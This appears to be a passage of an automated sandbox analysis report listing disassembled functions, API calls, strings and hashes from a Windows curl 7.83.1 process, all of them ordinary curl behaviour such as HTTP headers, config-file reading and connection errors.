HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00893360
Accept, xrefs: 0089316F
Referer, xrefs: 008930AE
Accept: */*, xrefs: 00893184
Proxy-Connection, xrefs: 0089323B, 00893252

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s$%s $%s?%s$1.0$1.1$Accept$Accept-Encoding$Accept-Encoding: %s$Accept: */*$Proxy-Connection$Proxy-Connection: Keep-Alive$Referer$Referer: %s$User-Agent$upload completely sent off: %I64d out of %I64d bytes
API String ID: 1294909896-3403769770
Opcode ID: 06e5ffb1fa78bfb930cc86d30f395e93f4a5af74e3c3684b1c48263046de9ddf
Instruction ID: 9cdc8bbec3d06c11251d0b592eecaa2299110b1500bcfbe511de9539598a043a
Opcode Fuzzy Hash: 06e5ffb1fa78bfb930cc86d30f395e93f4a5af74e3c3684b1c48263046de9ddf
Instruction Fuzzy Hash: 2A02B231704702AFDF19AB28D844B6AB7E1FF88324F18462DE859D7391DB31ED458B92

Function 0086DC15 Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 418
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,008B7A20,?,00000000,00000000), ref: 0086DC5D
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,0086CE9B,?,0086901E,?), ref: 0086DC6C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000), ref: 0086DCBE
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086DE1A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000310), ref: 0086DF7E

Strings

_curlrc, xrefs: 0086DC94
%s:%d: warning: '%s' %s, xrefs: 0086E012
%s:%d: warning: '%s' uses unquoted whitespace in the line that may cause side-effects!, xrefs: 0086DEFC
.curlrc, xrefs: 0086DC41
<stdin>, xrefs: 0086DFE8

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: malloc$__acrt_iob_funcfopenfree
String ID: %s:%d: warning: '%s' %s$%s:%d: warning: '%s' uses unquoted whitespace in the line that may cause side-effects!$.curlrc$<stdin>$_curlrc
API String ID: 2899880627-1529230327
Opcode ID: bc72cb855b76f9cc03df55cad1d2e903133c6d77ea7b227ec130d6c6fe901ad9
Instruction ID: 926db6f09778ada6a3f3989a261448a012283e39ad624ccb251dc9604e1f533d
Opcode Fuzzy Hash: bc72cb855b76f9cc03df55cad1d2e903133c6d77ea7b227ec130d6c6fe901ad9
Instruction Fuzzy Hash: 0CE1CD74E003599FCB258FA884957FDBBF1FF5A300F2A409AD482EB351CA768945CB51

Function 00862230 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 155
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008622E2
_get_osfhandle.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008622E9
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 008622F6
_isatty.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008622FD
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?), ref: 00862312
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(0000FDE9,00000000,?,?,00000000,00000000), ref: 0086232A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00862336
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(0000FDE9,00000000,?,?,00000000,?), ref: 00862354
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00000000,?,00000000), ref: 0086236C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00862377
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00862387
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?), ref: 0086239E
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 008623DC

Strings

Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file., xrefs: 008622BB

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ByteCharConsoleMultiWide_filenofree$BufferInfoScreenWrite_get_osfhandle_isattyfflushfwritemalloc
String ID: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file.
API String ID: 4159644049-3734715646
Opcode ID: 2b2520bdf0be93b45da581b65228441b9ea0221076662984104373395f5cdf55
Instruction ID: e4668af677757b086790124ae2b3e476ba8a987f3b9898d92e40353a1f538be5
Opcode Fuzzy Hash: 2b2520bdf0be93b45da581b65228441b9ea0221076662984104373395f5cdf55
Instruction Fuzzy Hash: C4517D70A00B0AAFDB149FA8DD44BEEBBB9FF08314F144559E805E63A1DB749C40CB20

Function 0086A06F Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B7A20), ref: 0086A079
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,If-None-Match: %s,00000000), ref: 0086A0CD
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0086A0F2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086A117
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0086A123
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 0086C59E

Strings

Failed to allocate memory for custom etag header, xrefs: 0086A0F9
If-None-Match: %s, xrefs: 0086A0BD
Failed to open %s, xrefs: 0086A095
k%, xrefs: 0086A038
If-None-Match: "", xrefs: 0086A0DB
Failed creating file for saving etags: "%s". Skip this transfer, xrefs: 0086A173

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fclose$free$fopen
String ID: Failed creating file for saving etags: "%s". Skip this transfer$Failed to allocate memory for custom etag header$Failed to open %s$If-None-Match: ""$If-None-Match: %s$k%
API String ID: 502121373-281841017
Opcode ID: 00aa61614461a37f98aaedc20f6c6e8df2c5694d802f57ddea73a25f80ae705f
Instruction ID: b7d037725d47af2d5c8106e6cc711cc8c4587dcf0d035ed7f7a88f18c415b4d3
Opcode Fuzzy Hash: 00aa61614461a37f98aaedc20f6c6e8df2c5694d802f57ddea73a25f80ae705f
Instruction Fuzzy Hash: 1251C031A04705CFCF299FA4DC59BAD7BB0FF06300F254169E846EA386EB7599418F12

Function 0088FD8C Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 343
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0088FDDF
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0088FE73
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0088FE95
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0088FEA8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0088FF51
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0088FF76
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0088FF89
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008900F0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008900FD
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 008901FB

Strings

%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s, xrefs: 008901E2
%% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed, xrefs: 0088FE1B
** Resuming transfer from byte position %I64d, xrefs: 0088FE08

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$fflush
String ID: %3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$** Resuming transfer from byte position %I64d
API String ID: 1893817590-664487449
Opcode ID: d0bb09cad42cca6d1f318f0ceeb09572e6545e3f9775a8b6ebd4be4898a35409
Instruction ID: eb83d7258b3ac9d6a48db2489f6543f49f5ad7e7afb9b50e1193e78c4f486980
Opcode Fuzzy Hash: d0bb09cad42cca6d1f318f0ceeb09572e6545e3f9775a8b6ebd4be4898a35409
Instruction Fuzzy Hash: F5D16B71D04B09AFDB20AB68CC81BAAB7B9FF48300F14412DE65EA7252DB353D419F11

Function 0087760D Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 252
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00877728
send.WS2_32(?,00000000,00000000,00000000), ref: 008777EA
WSAEventSelect.WS2_32(?,?,00000000), ref: 0087781C
WSAWaitForMultipleEvents.WS2_32(00000001,000000DC,00000000,000003E8,00000000,00000000,00000000,00000000), ref: 00877879
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008778B1
WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 008778EE
WSAEventSelect.WS2_32(?,?,00000000), ref: 00877900
WSAResetEvent.WS2_32(?), ref: 00877925
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00877948

Strings

2, xrefs: 008777D7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Event$EventsSelectfree$EnumMultipleNetworkResetWaitmallocsend
String ID: 2
API String ID: 760094153-450215437
Opcode ID: ea591040777ee724d626f056d4f2aabb1572af7dcecb8c8268476389661bf876
Instruction ID: 1f2965d2d1946ece758def5da308ea2d9c6d968193101f7982558bcdb0ed08f9
Opcode Fuzzy Hash: ea591040777ee724d626f056d4f2aabb1572af7dcecb8c8268476389661bf876
Instruction Fuzzy Hash: 7EA1AE70A047199FDB248F28CC84BAAB7B6FF45310F1082A9956ED7295DB30DD85CF51

Function 0087EE55 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 243
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0087E407: htons.WS2_32(?), ref: 0087E43C

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?), ref: 0087EEDE
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087EEE6

Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A0C3
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0CB
Part of subcall function 0087A0B8: __sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0DD
Part of subcall function 0087A0B8: __sys_errlist.API-MS-WIN-CRT-RUNTIME-L1-1-0(000000FF), ref: 0087A0EC
Part of subcall function 0087A0B8: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 0087A0F6
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A142
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A15C
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A173
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A180
Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A188
Part of subcall function 0087A0B8: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A193

Part of subcall function 0087F3FC: closesocket.WS2_32(00881EF4), ref: 0087F433

Strings

*, xrefs: 0087F03B
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0087EF00
0Lu@Ru@/Mu, xrefs: 0087EEDE, 0087EEE6
Trying %s:%d..., xrefs: 0087EF23
Immediate connect fail for %s: %s, xrefs: 0087F15C

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$ErrorLast$_strrchr$__sys_errlist__sys_nerrclosesockethtonsstrncpy
String ID: Trying %s:%d...$*$0Lu@Ru@/Mu$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 1577232418-3300156261
Opcode ID: 6df3b68ed90164ebbfb187decd183b82db93f1f34f0d46787e4192db4fdcba37
Instruction ID: 9178e6fe1e5b11fe0dca5bbb145c8636257cae3502ec1fbd94100666ea370212
Opcode Fuzzy Hash: 6df3b68ed90164ebbfb187decd183b82db93f1f34f0d46787e4192db4fdcba37
Instruction Fuzzy Hash: FB918031A006589BDF259B28CC84BEDB7B6FF49314F1444EAE80DE7296DA319E848F51

Function 0087E820 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

After %I64dms connect time, move on!, xrefs: 0087E98C
Failed to connect to %s port %u after %I64d ms: %s, xrefs: 0087ED2B
L', xrefs: 0087E99A
connect to %s port %u failed: %s, xrefs: 0087EAB2
Connection timeout after %ld ms, xrefs: 0087EC51

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: After %I64dms connect time, move on!$Connection timeout after %ld ms$Failed to connect to %s port %u after %I64d ms: %s$L'$connect to %s port %u failed: %s
API String ID: 0-861291074
Opcode ID: b5728f80c4c852197543672cac58cab4db86b8e7b2718a8a37416f89d83b848d
Instruction ID: 05c757798288655a0af79d3ed13900fa775e2d4c408dc7fd1c57e61d0ded1cfc
Opcode Fuzzy Hash: b5728f80c4c852197543672cac58cab4db86b8e7b2718a8a37416f89d83b848d
Instruction Fuzzy Hash: DBE1C2319006549BDF25DE288C857EA7776FF89324F1481E8EC0DEF39ADA719D818B81

Function 0087E574 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 73
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getsockname.WS2_32(?,?,?), ref: 0087E5C6
WSAGetLastError.WS2_32(?,?,?), ref: 0087E5D0

Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A0C3
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0CB
Part of subcall function 0087A0B8: __sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0DD
Part of subcall function 0087A0B8: __sys_errlist.API-MS-WIN-CRT-RUNTIME-L1-1-0(000000FF), ref: 0087A0EC
Part of subcall function 0087A0B8: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 0087A0F6
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A142
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A15C
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A173
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A180
Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A188
Part of subcall function 0087A0B8: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A193

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?), ref: 0087E60E
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?), ref: 0087E616

Strings

getsockname() failed with errno %d: %s, xrefs: 0087E5E9
ssloc inet_ntop() failed with errno %d: %s, xrefs: 0087E630
0Lu@Ru@/Mu, xrefs: 0087E60E, 0087E616

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$ErrorLast$_strrchr$__sys_errlist__sys_nerrgetsocknamestrncpy
String ID: 0Lu@Ru@/Mu$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s
API String ID: 2515041809-1685220302
Opcode ID: 965aacde64c36c739810f10cb5874f62d1f5931fcde4a0b11e6bbcceb7eb4613
Instruction ID: b00eade04b01627bf76102b01174b3e044aa493092a3d3969e4d86bcaa5d2cac
Opcode Fuzzy Hash: 965aacde64c36c739810f10cb5874f62d1f5931fcde4a0b11e6bbcceb7eb4613
Instruction Fuzzy Hash: 1B215E72900618ABDB14AB68DC45BEE77B8FB49314F408199F90DD3241EE709E858FA1

Function 0086CBAE Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00872677: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00887EE5,?,?,?,00888727,?,?,00000000,?,?,?,00888849,00000000,?,?), ref: 008726C4
Part of subcall function 00872677: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00888849,00000000,?,?,?,00872373,?,?,?,?,008616C6,?,00200030), ref: 008726DF

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0086CC1D

Part of subcall function 00872920: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00869117,?,?,?,00000000,Failed to create/open output), ref: 00872935

Part of subcall function 00872677: GetEnvironmentVariableA.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00000000,00000001,?,?,?,00888727,?,?,00000000,?,?,?,00888849,00000000,?), ref: 00872698

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0086CC5D

Strings

CURL_CA_BUNDLE, xrefs: 0086CC0C
out of memory, xrefs: 0086CC36, 0086CC76
SSL_CERT_FILE, xrefs: 0086CC93
SSL_CERT_DIR, xrefs: 0086CC4C

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree$EnvironmentVariablerealloc
String ID: CURL_CA_BUNDLE$SSL_CERT_DIR$SSL_CERT_FILE$out of memory
API String ID: 8184070-1311070097
Opcode ID: 32debddc8888407d1b20b20218517057d2fb9767dcda0f20d3f3fc164fed4bfb
Instruction ID: 03168f5c594b5a56875e7ec5044276d9086e11ce6207f2b1686ebf92de918f79
Opcode Fuzzy Hash: 32debddc8888407d1b20b20218517057d2fb9767dcda0f20d3f3fc164fed4bfb
Instruction Fuzzy Hash: 0531E971A046469FCB16ABBC98516FDBBE4FF11310F164069E588EB351EB74CE40C792

Function 0086CE40 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0086CE46
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,008B74AB,?,00000000,?,?,?,0086901E,?), ref: 0086CE59
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,008C0780,00000002), ref: 0086CE75
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0086CEC0

Strings

z, xrefs: 0086CE96
--disable, xrefs: 0086CE82

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfreesetlocalestrncmp
String ID: --disable$z
API String ID: 792593065-3267513583
Opcode ID: 476863e49219e44cfffff967f16c57eba85b5b140529054948eada9c64cdfa73
Instruction ID: 6446a5e02a901d7313386cd47109253dcfd025fead699758a351e6573ebf6692
Opcode Fuzzy Hash: 476863e49219e44cfffff967f16c57eba85b5b140529054948eada9c64cdfa73
Instruction Fuzzy Hash: DE213B31700705DBCF74AA68ED96B7D2772FB44760F224426F986DA691CFB2CC8092D2

Function 00868F92 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_mbscmp.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(?,--dump-module-paths), ref: 00868F9A
QueryPerformanceFrequency.API-MS-WIN-CORE-PROFILE-L1-1-0(008CFAF8), ref: 00868FF7
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0086902C

Part of subcall function 0086310D: CreateToolhelp32Snapshot.API-MS-WIN-CORE-TOOLHELP-L1-1-0(00000008,00000000), ref: 00863148
Part of subcall function 0086310D: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00863155
Part of subcall function 0086310D: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 0086316F

Part of subcall function 008720F5: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,?,?,00868A7A,curl 7.83.1 (Windows) %s,00000000), ref: 00872101

Strings

%s, xrefs: 00868FB5
YR{, xrefs: 00868FE0
--dump-module-paths, xrefs: 00868F92

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CloseCreateErrorFrequencyHandleLastPerformanceQuerySnapshotToolhelp32__acrt_iob_func_mbscmpfflush
String ID: %s$--dump-module-paths$YR{
API String ID: 3670006343-1349242960
Opcode ID: 33738e776a458a9ffec6d21fa96cd9f99fba34c21b005675d1f57b954f97255d
Instruction ID: 0b9688d305ff1d363022af8707f3ecf4b3cc1f045314ac1fbf69943e9a8b749b
Opcode Fuzzy Hash: 33738e776a458a9ffec6d21fa96cd9f99fba34c21b005675d1f57b954f97255d
Instruction Fuzzy Hash: 6E0102336446129BC7196728E802B6A3751FF81760F164219F85CD72D1EF71DD008B52

Function 0087D282 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57networklibraryloaderCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,974AC7AE), ref: 0087D2A5
WSACleanup.WS2_32 ref: 0087D31F

Part of subcall function 00894E72: GetProcAddress.KERNELBASE(00000000,InitSecurityInterfaceA,?,?,0087D2C2), ref: 00894EB0

Part of subcall function 0087D33A: GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(kernel32,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D34B
Part of subcall function 0087D33A: GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,LoadLibraryExA,?,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D363
